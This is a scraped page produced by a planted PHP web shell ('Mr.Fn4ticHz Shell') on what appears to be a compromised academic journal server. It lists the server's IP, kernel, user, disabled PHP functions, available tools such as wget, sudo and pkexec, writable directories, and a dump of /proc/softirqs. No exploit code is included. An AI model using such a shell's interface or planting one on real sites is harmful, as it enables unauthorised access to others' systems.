Mr.Fn4ticHz Shell
Server IP : 10.10.92.66  /  Your IP : 104.23.243.85
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux jurnalpolinema 5.15.0-177-generic #187-Ubuntu SMP Sat Apr 11 22:54:33 UTC 2026 x86_64
User : jurnal ( 1001)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /proc/softirqs
                    CPU0       CPU1       CPU2       CPU3       CPU4       CPU5       CPU6       CPU7       CPU8       CPU9       CPU10      CPU11      CPU12      CPU13      CPU14      CPU15      
          HI:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0
       TIMER:   18520794   21155259   28311651   32230096   26346465   26869796   27469344   26201306   43703235   40675052   26272858   25069480   23967320   20308320   33454100   61369091
      NET_TX:        202        180        213        241        187        218    1082053        211        288        265        198        197        203        177        267        198
      NET_RX:  272286100  311538389  211698483  243234022  246657903  279402825  255594972  284106382  238071041  336720304  282744000  254747248  289164934  256738309  264326573  233070298
       BLOCK:    2474134    2481688    2705067    2714348    3874604     130887    2861292    2609492    2617208    2835417    2700772    2648848    2637930    2614282    6258665    6869916
    IRQ_POLL:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0
     TASKLET:         17    1641861     894556    1609080          8    1601184          4    1619159          3    1604883    1623016          5    1620242          4    1642224         11
       SCHED:   94388528   67511021   73151475   70824907   66880036   67539985   69094882   65922921   84154354  277540577   66254073   67266798   64899690   61021954   84089857  117517587
     HRTIMER:          0        105          0          0          0         17          1         13          0        147        225          0          4          0         13          2
         RCU:   51799345   60822766   60419817   64115648   61293857   62028288   63186187   60859649   75114459  251211608   61121507   61995714   59937128   56524523   75284056  101023399

Mr.F4ticHz - 2022
Mr.Fn4tcHzam